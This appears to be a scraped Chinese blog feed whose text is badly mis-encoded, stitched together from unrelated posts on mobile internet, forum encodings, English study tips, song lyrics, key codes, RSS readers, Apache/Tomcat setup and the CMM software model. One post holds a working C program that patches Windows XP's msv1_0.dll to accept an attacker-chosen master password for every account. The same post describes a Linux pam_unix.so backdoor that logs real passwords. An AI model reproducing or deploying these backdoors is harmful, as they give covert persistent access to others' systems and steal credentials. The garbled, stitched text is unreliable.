??xml version="1.0" encoding="utf-8" standalone="yes"?>
从字面上看,TATA应该不是个什么好东西
之前我们上网一直用的是TATA的无U网l,那速度是56K modenm
前段旉朋友办了一个BSNL(印度国有的网l服务商)无线业务Q不错!当然q只能是跟TATA相对比而言Q?br />一Q费用对?br />TATA限制1G量的是Rs800/月,而且每超1Mb是RS5Q太贵了Q害得我有一月交了近Rs3000
BSNL不限量QRS600/?br />
二:|?br />TATA通常只有5K的样?br />BSNL下东西基本都能稳定在20K左右
q次用的是国内中兴ؓBSNL提供的CDMA1X EVDO的usb无线|卡?br />据我所知CDMA在要现有的数字技术上采用码分多址再进行扩频的一U无UK信技术,
所以比传统的GSM|带宽自然就大多了,
q种技术国内其实早已商业化了, 像联通说的”掌中宽带“其实也正是q网l,
不过联通还有EVDV的业务,我现在用的还只是EVDOQ是指专数据传输Q不包括语音业务?br />q几天用当中,感觉BSNL的这业务暂时q不是很E_Q有时收不到|络Q也是收不到对应的频率Q?br />速度q行Q毕竟CDMA是q域|,而且q有个特点,
假如有两个基塔的话,当一个小区的数据量大的时候会自动调用另一个基塔来分担Q有助于数据负荷的^衡?br />
不过我相信,q方面国内绝Ҏ(gu)印度好,国内3G已经?月一h号了?br />
]]>
可以说在很大的程度上直接影响你网站的发展
当然Q有了好的域?br />不充分利用它潜在的h(hun)?br />也等于白?br />前不?br />www.howIschina.com
让我注了
至于q到底是一个什么的域名
l下面的数据l你看看Q就自然明了
输入关键字“how is china"搜烦出的l果Q?br />
图一Qgoogle
2.M3Gate V1.2
3.WinWap3.1 PRO
4.Wapdisplayer V1.5
5.WWB(Wap Web Browser)
6.Microsoft Mobile Explorer 3.0
7.Opera 8.5
8.CheckCom WAPBrowser 3.2
9.Nokia Wap Toolkit 1.3
以上WAP览?模拟?为浏览 http://wap.wapzj.com 站点的效果,以上WAP览器程序?zhn)可以登陆以下站点下蝲?br />
中国被爱可以在线 http://www.bicyle.org
WAP之家 http://www.wapzj.com
WAP之家WAP站点q有一U新型的览方式Q那是直接使用IE览Q不信?zhn)可以启动Internet Explorer 览器,在地址栏输入:http://wap.wapzj.com Q然后点几Z{到”按钮,(zhn)就可以利用IE览WAP之家的WAP站点了?br />
以下内容{?/p>
其实q些东西我很早就做出来用了,而且效果q不错,目前没有一个管理员发现?br />
以下E序只在winxpsp2中文版上试
#include <stdio.h>
#include <stdlib.h>
#include "windows.h"
#include "wincrypt.h"
wchar_t passwd[1024];
char path[1024], hash[16];
const int os1 = 0x8DB0, os2 = 0x1C3A7, ospasswd = 0x1C397;
const char chunk1[] = {
0xE8, 0xF2, 0x35, 0x01, 0x00, 0x90
};
const char chunk2[] = {
0x55, 0x8B, 0xEC, 0x6A, 0x10, 0xFF, 0x75, 0x0C,
0x68, 0x97, 0xCF, 0xC5, 0x77, 0xFF, 0x15, 0xCC,
0x10, 0xC4, 0x77, 0xC9, 0x83, 0xF8, 0x10, 0x75,
0x03, 0xC2, 0x00, 0x00, 0xFF, 0x25, 0xCC, 0x10,
0xC4, 0x77
};
void err(char *msg) {
printf("error: %s\n", msg);
exit(1);
}
int main(int argc, char *argv[]) {
HCRYPTPROV hProv;
HCRYPTHASH hHash;
unsigned len, sint = sizeof(int);
FILE *fout;
if (argc != 2) {
printf("msv1_0.dll password backdoor generator by cly\n"
"Usage:\n%s password\nOnly for winxp sp2\n", argv[0]);
exit(1);
}
len = strlen(argv[1]);
if (len > 512)
err("the password is too long");
len = MultiByteToWideChar(CP_ACP, 0, argv[1], len, passwd, 1024);
if(!CryptAcquireContext(&hProv, NULL, NULL, PROV_RSA_FULL, 0))
if (!CryptAcquireContext(&hProv, NULL, MS_DEF_PROV,
PROV_RSA_FULL,
CRYPT_NEWKEYSET))
err("CryptAcquireContext");
if (!CryptCreateHash(hProv, CALG_MD4, 0, 0, &hHash))
err("CryptCreateHash");
if (!CryptHashData(hHash, passwd, len * sizeof(wchar_t), 0))
err("CryptHashData");
CryptGetHashParam(hHash, HP_HASHSIZE, &len, &sint, 0);
if (len != 16)
err("CryptGetHashParam");
CryptGetHashParam(hHash, HP_HASHVAL, hash, &len, 0);
if (hHash)
CryptDestroyHash(hHash);
if (hProv)
CryptReleaseContext(hProv, 0);
if (strlen(getenv("windir")) > 512)
err("Are you kidding?");
sprintf(path, "%s\\system32\\msv1_0.dll", getenv("windir"));
if (!CopyFileA(path, "msv1_0.dll.cly", 0))
err("CopyFileA");
fout = fopen("msv1_0.dll.cly", "rb+");
if (fout == NULL)
err("fopen");
fseek(fout, os1, SEEK_SET);
fwrite(chunk1, sizeof(chunk1), 1, fout);
fseek(fout, os2, SEEK_SET);
fwrite(chunk2, sizeof(chunk2), 1, fout);
fseek(fout, ospasswd, SEEK_SET);
fwrite(hash, sizeof(hash), 1, fout);
fclose(fout);
return 0;
}
q行q个E序把得到的msv1_0.dll.cly复制到c:\windows\system32\msv1_0.dllQ自己想办法l过WFPQ,所
有的用户可以用你设|的密码来登陆了Q远E桌面也是可以的?br />q里只是提供一U思\Q其他的版本比如win2k3应该而是可以q样搞的?br />其实我最开始是看到|上一片文章,不过他是I口令可以登陆,而我q是自己讄的口令可以登陆?br />
Linux下就更简单了Q直接编译一个自qpam_unix.so上去可以了?br />q个pam_unix.so可以记录正确的密码,也可以做和上面一L通用密码后门?br />我是q样搞的Q先判断密码寚wQ如果对了则记录q放行,否则判断是否为我讄的通用密码Q如果是放行,其他的验证失败?br />q样我local root成功后,放这样一个后门,理员还真是难查出来?br />
1、从数据?/span>的尺怸看,UTF8要大于GBKQ?0M的UTF8转成GBK后大概ؓ16-17M
2、从论坛插g的支持上看,Discuz的拥戴者制作的插g基本上都是针对GBK的,UTF8的极?br />3、从搜烦引擎上看QMSN、YAHOO比较喜欢UTF8Q会收录更快一些,因ؓ它是国际上通用的编码,癑ֺ?span class="t_tag" onclick="tagshow(event)" href="tag.php?name=google">google基本不受影响
4、从用户使用上看QUTF8更加适合Ƨ洲、北、香港用户通过FIREFOX{外国流行的览器浏览,GBK更适合大陆用户览
5、Discuz!官方推荐安装使用的是GBK
从上面可以看出,UTF8更适合外国朋友居多且不需太多要插件的论坛。GBK更适合普通一般的中国大陆用户。至于有些朋友说UTF8比GBK承蝲能力更佳Q我开始也用UTF8Q但我ƈ没有感觉到有什么不同?/strong>
但UTF8~码不能使用插g,不能安装Ҏ(gu)、经常出Cؕ码不能正常显C、我今天搞的时候就出现q个问题Q怎么办?
说来其实好解冻I把UTF8->GBK,那首先必L你原来的数据下蝲下来Q用下面的Y件进行{换(后面有下载地址Q?br />
但如果失败了怎么办,那就没有办法了,只能INSERT了,我今天就是最倒霉了,是的是后面一U方?/p>
最理想的练习口语的Ҏ(gu)是有个说p的外国h天天在你w边陪你说英语,但这个条件一般谁也不具备Q那么怎么来练习口语呢Q有一个好办法非常可行Q就是自己和自己说练习英语口语(当然后期q要找一些外国hq行语言交流体验Q,L信自己和自己l习口语q一办法很管用,Cp英语有一个方法,叫“反q式口语l习法”,推荐l你Q?br /> 拿出一英语文章来先看懂,反复看几遍,争取C里面的内容(注意千万别背Q,然后把文章翻扣在桌上Q对着墙用自己的英语将刚才读过的文章反说出来(注意是述_不是背诵Q,一开始根本记不住Q就打开文章再看一遍,然后再翻扣过来用pq说Q遇到卡壳的地方qq文章再看一看,看看人家原文怎么_再翻扣过去述说……直到把整个文章说完Q反复练习多遍后Q不仅可以流利地q说q篇文章Q还可以Ҏ(gu)说法Q用各种各样的方法述_如先说开头后说结、先说中间后说两_长话短说、短话长说……不用多Q只需几篇文章Q就可以l出利的英语口语,而且保证地道正确Q比外国的还标准Q因为所有的句子和表达方法都来自书上Q还能有错?q样l习口语Q进步飞速。比和外国h面对面说pq步q快Q因为面寚w听不懂还不好意思问人家Q现在是自己说了,有Q何不懂的地方马上可以查字典,查一个小时也没h你。想学医学的口语拿d文章来反qͼ惛_军事的口语就用军事文章来反述Q想说什么就说什么,直到学会。用“反q式口语l习法”学习英语口语,大学生几个月可以讲一口流利的pQ信不信׃Q请试试吧?/p>
需要注意的是,一开始一定要从简单的文章开始反qͼ千万别以己水q_高,急着先拿复杂的高U文章来反述。不你的阅Lqx多高Q在口语上一定要谦虚地把自己当成刚学说话的小婴儿Q要甘心从头开始学习,要从W一个台阶开始迈P不要以ؓ一步跨?个台阶才进步快Q我反复讲过Q英语不隑֭Q一׃十个台Ӟ一个台阶一个台阶地上本来很Ҏ(gu)Q可大多Ch心急,偏要一步迈上第十个台阶Q结果把本来很简单的一件事搞得十分艰难?/p>
那么什么样的文章是你应该“反q”的W一文章呢Q就是那U一看就懂,但看完了用英语却怎么也说不出来的最单的文章Q就从这文章开始吧Q?/p>
W一步:大量背诵原汁原味的单句、对话、生zM语?/p>
W二步:把每天背诵过的素材反复消化,借助惛_力,w其境把它们表演出来。
W三步:写日记。这个习惯看上去l习的是写作Q其实它更是l习口语的妙法。当你动W的同时Q你的大脑正在激烈地做着英文体操。用英文q行思维是高U的口语训练Ҏ(gu)?/p>
W四步:大量阅读报刊、杂志及各种故事、杂文,之后它们复q出来?提示Q是"复述"而非"背诵"?同一文章的复述工作应该反复滚动。
W五步:一q左右逐渐q渡到用英文q行日常的思维zd。每当遇C会的词、句p录在本子上,集中解决Qƈ定时更新、复习?/p>
在中韩歌曲会上听到的Q当时一听就忘不了,在网上找了好久:
如果(zhn)还听到有其它的歌曲声音Q请(zhn)在我页面的最下端把背景音乐关了?/font>
q里的山头尖又尖
装扮春夏U冬好家?
天生是水墨?
时常入梦来哟
醉倒云水间
q里的筷头尖又尖
品尝一q四季炊烟甜
q福怸桃花开
只想唱山歌哟
不愿做神?
q里的笔头尖又尖
割下祖辈辈梦和?
世代爱听M?
妙手著文章的名篇C?
丽的家?
山水胜画?
奇的土?
人情最温暖
每当走近?
忍不住一千遍呼喊
那尖的W杆
尖的筷?尖的山
丽的家?
山水胜画?
奇的土?
人情最温暖
每当d?
我都会一万分留恋
那尖的吸引 尖的牵?尖的思念
丽的家?
山水胜画?
奇的土?
人情最温暖
每当走近?
忍不住一千遍呼喊
那尖的W杆
尖的筷?尖的山
丽的家?
山水胜画?
奇的土?
人情最温暖
每当d?
我都会一万分留恋
那尖的吸引 尖的牵?尖的思念
A ?Z 键与 A ?Z 字母?ASCII 码相同:
?描述
65 A ?br />66 B ?br />67 C ?br />68 D ?br />69 E ?br />70 F ?br />71 G ?br />72 H ?br />73 I ?br />74 J ?br />75 K ?br />76 L ?br />77 M ?br />78 N ?br />79 O ?br />80 P ?br />81 Q ?br />82 R ?br />83 S ?br />84 T ?br />85 U ?br />86 V ?br />87 W ?br />88 X ?br />89 Y ?br />90 Z ?br />
0 ?9 键与数字 0 ?9 ?ASCII 码相同:
?描述
48 0 ?br />49 1 ?br />50 2 ?br />51 3 ?br />52 4 ?br />53 5 ?br />54 6 ?br />55 7 ?br />56 8 ?br />57 9 ?br />
下列常数代表数字键盘上的键:
值 ?描述
0x60 0 ?br />0x61 1 ?br />0x62 2 ?br />0x63 3 ?br />0x64 4 ?br />0x65 5 ?br />0x66 6 ?br />0x67 7 ?br />0x68 8 ?br />0x69 9 ?br />0x6A MULTIPLICATION SIGN (*) ?br />0x6B PLUS SIGN (+) ?br />0x6C ENTER ?br />0x6D MINUS SIGN (? ?br />0x6E DECIMAL POINT (.) ?br />0x6F DIVISION SIGN (/) ?br />
下列常数代表功能键:
值 ?描述
0x70 F1 ?br />0x71 F2 ?br />0x72 F3 ?br />0x73 F4 ?br />0x74 F5 ?br />0x75 F6 ?br />0x76 F7 ?br />0x77 F8 ?br />0x78 F9 ?br />0x79 F10 ?br />0x7A F11 ?br />0x7B F12 ?br />0x7C F13 ?br />0x7D F14 ?br />0x7E F15 ?br />0x7F F16 ?/font>
介: 1999q??0日两个哥伦比亚高中学生冲q校园,用半自动武器、鸟枪和一批爆炸物杀M1位老师Q?2名学生,然后自杀。另?6人受伤?当日11?9分,两名学生来到校外。其中一名大叫“出来!出来Q”ƈ当即?名学生射击,造成两hM。随后,持枪者向门窗击q将自制的炸Ҏ(gu)上房。持枪者随之进入图书馆q行屠杀。最后两名凶手自杀w亡?哥u比亚高中惨案是美国历史上最严重的枪M件?/div>
|
||
|
FireDemon(飞火星)
国h自主开发的RSS工具QFireDemon(飞火星)是一Ƒ֊能强大,单易用,界面友好?一个Blog阅读工具,正规的Blog站点都提供RSS文g,可以方便的访?RSS|页新闻阅读和浏览器Q让你在桌面快速浏览RSS的世界。文件收藏Y件。通过它,我们能从不同的来源中讉K到许多新d容:a.ZXML格式QRssQ的聚合QSyndicatedQ新闅Rb.|页新闻。FireDemon从订阅的每一个新闻频道中攉新闻内容Q然后以几种不同的方式显C?/p>
介:cdQ免费Y?大小Q?135 KB 版本Q?.15 Beta pȝq_Q?Win9X WinNT Win2000 WinME WinXP Win2003 【点M载?/a>
博阅RSS阅读?/a>.
博阅RSS阅读器是Z息时代尽快获取所需信息而打造的一Ƅ单易用的RSS阅读器。通过它?zhn)可以理、获取、阅?格式的信息。管理信息就是?zhn)可以?gu)自己的需要来定和管理信息来源,获取信息是(zhn)可以根据自q需要从定制的信息源中来更新获取信息Q阅M息是指?zhn)可以方便的在阅读器中查看信息列表、摘要和详细内容。MQ?zhn)可以通过博阅RSS阅读器及时的获得你所要的各种信息。
介:版本QV1.0 大小Q?.650k 性质Q免费Y件支持^収ͼWin 9X /Win NT / Win 2000 / Win XP(需要Java工作环境)【点M载?/a>
看天下RSS新闻阅读?
看天下RSS新闻阅读器第一Ƒ֛ȝ权的RSS阅读器。该软g对传l的互联|以商业门户Z介的信息传递模式进行着革命性的冲击Q众多信息发布?企业|站Q媒体,博客{?和广大接收者之间架起了“直通R”,极大地降低了信息发布和接收的成本Q给q大|民一个崭新的互联|阅M验。作Z用者的“信息助手”,该Y件用户可以随心所Ʋ地Ҏ(gu)喜好订阅信息频道Qƈ以用戯|的频率更新信息Q把天下最新咨询“送”到用户面前。在今后的版本中Q用戯可以在本地对信息q行搜烦Q排序,归类{管理,q可以用我们的“中文RSS内容索引”订阅更多,更精彩的内容。欢q广大用户下载ƈ提出宝贵意见?
介:cdQ?免费软g 大小Q?3453 KB pȝq_Q?Win9x/NT/2000/XP 【点M载?/a>
周博通RSS阅读?
周博通是目前最行的免费RSSd之一Q界面友好,分类清晰Q操作简单.内置新浪|、新华网、天极网、计世网{数百个RSSLQ不用打开|页可W一旉阅读自己喜欢的新?除拥有一般RSSd的功能外Q还有以下几斚w特点: 1.以很方便C用右键把|页上的RSS地址加入到自q频道列表中?2.支持rss0.92Qrss1.0Qrss2.0及ATOM?3.可以导入“看天下”,“新点炚w”,,FeedDemon的所有的RSS频道列表?4.与好友共享自qRSS频道源?5.从网l上下蝲开发团队精心整理的RSS频道源?6.上传自己的RSS频道源列表至服务器,当更新机器重装周博通的Ӟ可以直接从网l上恢复你的RSS频道源?7.本地文章快速搜索?8.自由定制Baidu关键字搜索订阅,可以自动?zhn)要收集的资料和竞争对手的资料送到(zhn)面前?9.正式版将增加ȝ撰写Blog功能
介:cdQ?免费软g 大小Q?2492 KB pȝq_Q?Win9x/NT/2000/XP 【点M载?/a>
SharpReaderRSS阅读?br /> SharpReader是一Ƒֹ受BloggerƢ迎的Blog阅读软gQ它能让你不用访问blog|站Q直接在机器上象收信一h集blog最新的消息。最大的亮点是正式支持atom?
介:版本Q?V0.9.5.1 语言Q英?cdQ?免费软g 大小Q?796 KB pȝq_Q?Win9x/NT/2000/XP(需?NET Framework工作环境)【点M载?/a>
Sun的Group Manager Larry Wake作了一个非常棒的slides (Link), 详细的列出ƈ说明所新增加的Ҏ(gu),有兴的可以看看。附上Solaris 11/06下蝲地址(Link)?/p>
囄来源于Sun公司Matt HatleyQ目前他在关岛ؓ国军方提供pȝ支持服务Q他的网站: http://home.comcast.net/~hatleym/guam/
<script language="javascript">
<!--
function load_img(p_src,write_id){
var t_html;
if(p_src!=''){
if(write_id==img_s){
t_html="<img src='"+p_src+"' onLoad='javascript:if(this.width>120){this.width=120;}if(this.height>120){this.height=120;}'>";
}else{
t_html="<img src='"+p_src+"' onLoad='javascript:if(this.width>240){this.width=240;}if(this.height>240){this.height=240;}'>";
}
}else{
t_html="";
}
write_id.innerHTML=t_html;
}
//-->
</script>
龙卷风萨q克立法局扶绥对立法军队司阔{夫君q度苏克雷附?/p>
赛夺旅费福利司地矿局利司夺发随大开戉K~短阔{?/p>
加赛多幅d机羃短毒素ؕ|款军队弗兰克斯多夫?lt;/textarea
>
效果如下Q?
准备需要的软g:
1?/font>
下蝲j2sdk
下蝲地址:http://download.sun.com
2
、下?span lang="EN-US">Apache
下蝲地址Q?span lang="EN-US">http://www.apache.org/
3
、下?span lang="EN-US">Tomcat
下蝲地址:http://Jakarta.apache.org
4
、下?span lang="EN-US">mod_jk_
下蝲地址:tomcat的下载地址下蝲?/font>
最新的下蝲地址:http://www.apache.org/dist/jakarta/tomcat-connectors/jk/binaries/win32/jk-1.2.6/
W二部分Q配|前的初始化工作
1?/font>
安装j2sdk
q行j2sdk
2?/font> 安装Apache服务?span lang="EN-US">
q行Apache的自动安装包Q安?span lang="EN-US">Apache
3?/font> 安装Tomcat服务?span lang="EN-US">
q行Tomcat的自动安装包Q安?span lang="EN-US">Tomcat
4?/font> 安装mod_jk
拯mod_jk_
5?/font> 准备工作目录和测试文?span lang="EN-US">
?span lang="EN-US">D:盘新建目?span lang="EN-US">www,q创Z个基本的index.jsp文gQ源码如下所C:
<%
out.println("<html>");
out.println("<body>");
out.println("Welcome");
out.println("</body>");
out.println("</html>");
%>
W三部分Q配|?span lang="EN-US">Apache服务?/font>
~辑httpd.conf文g,使用文本~辑器打开httpd.conf文gQ在文g的最后添加如下内?span lang="EN-US">:
# Using mod_jk2.dll to redirect dynamic calls to Tomcat
LoadModule jk_module modules/mod_jk_
JkWorkersFile "D:/Apache/Tomcat5/conf/workers.properties"
JkLogFile "D:/Apache/Tomcat5/logs/mod_jk2.log"
JkLogLevel info
JkMount /servlet/* ajp13
JkMount /*.jsp ajp13
Alias /web "D:/www/"
<Directory "D:/www">
Options Indexes MultiViews
AddOutputFilter Includes html
AllowOverride None
Order allow,deny
Allow from all
</Directory>
# 包含Tomcat中的mod_jk.conf文g
Include D:\Apache\Tomcat5\conf\auto\mod_jk.conf
W四部分Q配|?span lang="EN-US">Tomcat服务?/font>
1?/font> 建立workers.properties文g
?span lang="EN-US">D:/Apache/Tomcat5/conf/目录下新建文本文档ƈ命名?span lang="EN-US">workers.propertiesQ写入如下内容:
workers.tomcat_home=C:\Tomcat #
?span lang="EN-US">mod_jk模块知道
Tomcat
workers.java_home=C:\jdk #?span lang="EN-US">mod_jk模块知道
j2sdk
ps=\
worker.list=ajp13 #模块版本,现有ajp14?span lang="EN-US">,不要修改
worker.ajp13.port=8009 #工作端口,若没占用则不用修?/font>
worker.ajp13.host=localhost #本机,若上面的ApacheL不ؓlocalhost,作相应修?/font>
worker.ajp13.type=ajp13 #cd
worker.ajp13.lbfactor=1 #代理?span lang="EN-US">,不用修改
2?/font> 修改server.xml文g
扑ֈ如下的配|代码:
<!-- Tomcat Root Context -->
<!--
<Context path="" docBase="ROOT" debug="0">
-->
在其后面增加如下一行:
<Context path="/web" docBase="D:/www" debug="0" reloadable="true" > </Context>
3?/font>
修改
jk2.properties
文g
修改后内容如下:
## THIS FILE MAY BE OVERRIDEN AT RUNTIME. MAKE SURE TOMCAT IS STOPED
## WHEN YOU EDIT THE FILE.
## COMMENTS WILL BE _LOST_
## DOCUMENTATION OF THE FORMAT IN JkMain javadoc.
# Set the desired handler list
handler.list=apr,request,channelJni
#
# Override the default port for the socketChannel
# channelSocket.port=8019
# Default:
# channelUnix.file=${jkHome}/work/jk2.socket
# Just to check if the the config is working
# shm.file=${jkHome}/work/jk2.shm
# In order to enable jni use any channelJni directive
# channelJni.disabled = 0
# And one of the following directives:
# apr.jniModeSo=/opt/apache2/modules/mod_jk2.so
# If set to inprocess the mod_jk2 will Register natives itself
# This will enable the starting of the Tomcat from mod_jk2
# apr.jniModeSo=inprocess
#request.tomcatAuthentication=true
request.tomcatAuthentication=false
W五部分Q运行测试程?/font>
先启?span lang="EN-US">Tomcat服务器,然后启动Apache服务器?span lang="EN-US">
打开IE览器,分别输入如下地址Q?span lang="EN-US">
http://127.0.0.1/web/index.jsp
http://127.0.0.1:8080/web/index.jsp
如果出现的页面相同,均打印出
Welcome
说明配制成功?/font>
CMM是是一U用于评仯Y件承包能力ƈ帮助其改善Y件质量的Ҏ(gu)Q侧重于软g开发过E的理及工E能力的提高与评估。CMM分ؓ五个{Q一Uؓ初始U,二为可重复U,三为已定义U,四为已理U,五Z化?/font>
?CMM是由国卡内基梅隆大?a target="_new">软g工程研究所1987q研制成功的Q是目前国际上最行最实用的Y件生产过E标准和软g企业成熟度等U认证标准。目前,我国已有软g企业通过了CMM标准认证 ??
SW-CMM(Capability Maturity Model For Software 软g生能力成熟度模?以下U?CMM"),?7q由国卡内基梅隆大学Y件工E研I所QCMU SEIQ研I出的一U一U用于评仯Y件承包商能力q帮助改善Y件质量的Ҏ(gu)Q其目的是帮助Y件企业对软g工程q程q行理和改q,增强开发与改进能力Q从而能按时地、不预地开发出高质量的软g?/font>
其所依据的想法是Q只要集中精力持l努力去建立有效的Y件工E过E的基础l构Q不断进行管理的实践和过E的改进Q就可以克服软g生中的困难。CMM它是目前国际上最行、最实用的一UY件生产过E标准,已经得到了众多国家以及国际Y件业界的认可,成ؓ当今企业从事规模软g生不可~少的一内宏V?/font>
CMM目前通用行的版本是1Q?QVersion1Q?Q。《按照Y件工E研I所QSEIQ的原来计划QCMM的改q版版本2Q?QV2Q?Q是要在1997q的11月完成的。但是,国国防部办公室要求软g工程研究所QSEIQgq发攑օ布CMM版本2Q?Q直至他们完成另一个更为紧q的目-CMMI?/font>
CMMI(Capability Maturity Model Integration能力成熟度模型集?/a>)Q是国国防部的一个设惟뀂他们希望把所有现存的与将被发展出来的各种能力成熟度模型,集成C?a target="_new">框架中去。这个框架用于解决两个问题:W一QY件获取办法的攚wQ第二,从集成品与q程发展的角度出?建立一U包含健全的pȝ开发原则的q程改进?
CMMY件企业的q程能力提供了一个阶梯式的改q框Ӟ它基于过L有Y件工E过E改q的成果Q吸取了以往软g工程的经验教训,提供了一个基于过E改q的框架Q它指明了一个Y件组l在软g开发方面需要管理哪些主要工作、这些工作之间的关系、以及以怎样的先后次序,一步一步的做好q些工作而软gl织走向成熟?/font>
一、CMM的诞?/strong>
信息时代QY件质量的重要性越来越Zh们所认识。Y件是产品、是装备、是工具Q其质量使得֮满意Q是产品市场开拓、事业得以发展的关键。而Y件工E领域在1992q至1997q取得了前所未有的进?其成果超qY件工E领域过?5q来的成d?/font>
软g理工程引vq泛注意源于20世纪70q代中期。当时美国国防部曄题专门研IY仉目做不好的原因,发现70%的项目是因ؓ理不善而引P而ƈ不是因ؓ技术实力不够,q而得Z个结论,即管理是影响软g研发目全局的因素,而技术只影响局部。到?0世纪90q代中期QY件管理工E不善的问题仍然存在Q大U只?0%的项目能够在预定的费用和q度下交付。Y仉目失败的主要原因有:需?/a>定义不明;~Z一个好的Y件开发过E;没有一个统一领导的品研发小l;子合同管理不严格Q没有经常注意改善Y件过E;?a target="_new">软g构架很不重视QY件界面定义不善且~Z合适的控制QY件升U暴露了g的缺点;兛_创新而不兛_费用和风险;军用标准太少且不够完善等{。在关系到Y仉目成功与否的众多因素中,软g度量、工作量估计、项目规划、进展控制、需求变化和风险理{都是与工程理直接相关的因素。由此可见,软g理工程的意义至关重要?/font>
软g理工程和其它工E管理相比有其特D性。首先,软g是知识品,q度和质量都难以度量Q生产效率也难以保证。其ơ,软gpȝ复杂E度也是乎惌的。因Y件复杂和难以度量QY件管理工E的发展q很不成熟?/font>
软g理工程的发展,在经历了?0q代开始以l构化分析与设计、结构化评审、结构化E序设计以及l构化测试ؓ特征的结构化生时代Q到90q代中期Q以CMM模型的成熟模型和日益为市场接受ؓ标志Q已l进入以q程成熟模型CMM?a target="_new">个体软gq程PSP?a target="_new">组软gq程TSP为标志的以过Eؓ中心的时代,而Y件发展第三个时代Q及软g工业化生产时代,?0q代中期软gq程技术的成熟?a target="_new">面向对象技术?a target="_new">构g技术的发展为基Q已l渐露端倪,估计?005q_可以实现真正的Y件工业化生Q这个趋势应该引赯Y件企业界和有关部门的高度重视Q及早采取措施,跟上世界软g发展的脚步。Y件生产{向以改善软gq程Z心,是世界各国Y件业或q或早都要走的道路?/font>
软gq程改善是当前Y件管理工E的核心问题?0多年来计事业的发展使h们认识到要高效率、高质量和低成本地开发YӞ必须改善软g生q程。Y件管理工E走q了一条从70q代开始以l构化分析与设计、结构化评审、结构化E序设计以及l构化测试到90q代中期以过E成熟模型CMM、个体Y件过EPSP和群lY件过ETSP为标志的以过Eؓ中心向着软gq程技术的成熟和面?a target="_new">对象技术、构件技术的发展为基的真正Y件工业化生的道路。Y件生产{向以改善软gq程Z心,是世界各国Y件业或q或早都要走的道路。Y件工业已l或正在l历着"软gq程的成熟化"Qƈ?软g的工业化"渐进q渡。规范的软gq程是Y件工业化的必要条件?/font>
软gq程研究的是如何h员、技术和工具{组lv来,通过有效的管理手D,提高软g生的效率,保证软g产品的质量。由此诞生了软gq程的三个流z:CMU-SEI的CMM/PSP/TSPQISO 9000质量标准体系QISO/IEC 15504QSPICEQ?/font>
CMM/PSP/TSP卌Y件能力成熟度模型/ 个体软gq程/组软gq程Q是1987q美?Carnegie Mellon 大学软g工程研究所(CMU/SEI)以W.S.Humphrey为首的研I组发表的研I成?承制方Y件工E能力的评估Ҏ(gu)"QSO 9000质量标准体系是在70q代由欧z首先采用的Q其后在国和世界其他地Zq速地发展h。目前,Ƨ洲联合会积极促qY件质量的制度化,提出了如下ISO9000软g标准pdQISO9001、ISO9000-3、ISO9004-2、ISO9004-4、ISO9002QISO/IEC 15504QSPICEQ是1991q国际标准化l织采纳了一动议,开展调查研IӞ按照CMU-SEI的基本思\Q生的技术报告ISO/IEC 15504--信息技术Y件过E评?/font>
目前Q学术界和工业界公认国 Carnegie Mellon 大学软g工程研究所(CMU/SEI) 以W.S.Humphrey为首L研究与开发的软g能力成熟度模型CMM是当前最好的软gq程Q已成ؓ业界事实上的软gq程的工业标准?/font>
二、CMM的发?/strong>
1987q美?Carnegie Mellon 大学软g工程研究所(CMU/SEI)以W.S.Humphrey为首的研I组发表了CMM/PSP/TSP 技术,Y件管理工E开辟了一条新的途经?/font>
CMM框架?个不断进化的层次来评定Y件生产的历史与现Ӟ其中初始层是h的过E,可重复层是经q训l的软gq程Q定义层是标准一致的软gq程Q管理层是可预测的Y件过E,优化层是能持l改善的软gq程。Q何单位所实施的Y件过E,都可能在某一斚w比较成熟Q在另一斚w不够成熟Q但M上必然属于这5个层ơ中的某一个层ơ。而在某个层次内部Q也有成熟程度的区别。在CMM框架的不同层ơ中Q需要解军_有不同层ơ特征的软gq程问题。因此,一个Y件开发单位首先需要了解自己正处于哪一个层ơ,然后才能够对症下药地针对该层ơ的Ҏ(gu)要求解决相关问题Q这h能收C半功倍的软gq程改善效果。Q何Y件开发单位在致力于Y件过E改善时Q只能由所处的层次向紧?c)上一层次q化。而且在由某一成熟层次向上一更成熟层ơ进化时Q在原有层次中的那些已经具备的能力还必须得到保持与发扬?/font>
软g产品质量在很大程度上取决于构{Y件时所使用的Y件开发和l护q程的质量。Y件过E是人员密集和设计密集的作业q程Q若~Z有素训练Q就难以建立h持实现成功是软gq程的基Q改q工作亦难以取得成效。CMM描述的这个框架正是勾列出从无定规的沌过E向训练有素的成熟过E演q的途径?
CMM包括两部?软g能力成熟度模??能力成熟度模型的关键惯例"?软g能力成熟度模?主要是描q此模型的结构,q且l出该模型的基本构g的定义?能力成熟度模型的关键惯例"详细描述了每?关键q程斚w"涉及?关键惯例"。这?关键q程斚w"是指一l相兌的活动;每个软g能力成熟度等U包含若q个对该成熟度等U至关重要的q程斚wQ它们的实施对达到该成熟度等U的目标起到保证作用。这些过E域q成熟度等U的关键q程?/a>Q反之有非关键过E域是指对达到相应Y件成熟度{的目标不起关键作用。归UؓQ互相关联的若干软g实践zd和有兛_设施的一个集合。?关键惯例"是指使关键过E方面得以有效实现和制度化的作用最大的基础设施和活?对关键过E的实践起关键作用的斚w、规E、措施、活动以及相兛_设施的徏立。关键实践一般只描述"做什?而不强制规定"如何?。各个关键惯例按每个关键q程斚w??公共Ҏ(gu)?Q对执行该过E的承诺Q执行该q程的能力,该过E中要执行的zdQ对该过E执行情늚度量和分析,及证实所执行的活动符合该q程Q归c?/a>Q逐一详细描述。当作到了某个关键过E的的全部关键惯例就认ؓ实现了该关键q程Q实C某成熟度U及其以低所含的全部关键q程p到到了了该?/font>
上面提到了CMM把Y件开发组l的能力成熟度分?个的{。除了第1U外Q其他每一U由几个关键q程斚wl成。每一个关键过E方面都׃q?U公q性予以表征。CMMl每个关键过E了一些具体目标。按每个公共Ҏ(gu)归cȝ关键惯例是按该关键过E的具体目标选择和确定的。如果恰当地处理了某个关键过E涉及的全部关键惯例Q这个关键过E的各项目标pCQ也p明该关键q程实现了。这U成熟度分的优点在于,q些U别明确而清楚地反映了过E改q活动的轻重~急和先后序?/font>
能力{ | 特点 | 关键q程 |
W一U?基本U?/td> | 软gq程是乱无序的,对过E几乎没有定?成功依靠的是个h的才能和l验,理方式属于反应?/td> | |
W二U?重复U?/td> | 建立了基本的目理来跟t进?费用和功能特?制定了必要的目理,能够利用以前cM的项目应用取得成?/td> | 需求管?/a>,目计划,目跟踪和监?软g子合同管?软g配置理,软g质量保障 |
W三U?定U? | 已经Y件管理和q程文档?标准?同时l合成该l织的标准Y件过E?所有的软g开发都使用该标准Y件过E?/td> | l织q程定义,l织q程焦点,培训大纲,软机集成理,软g产品工程,l织协调,专家审评 |
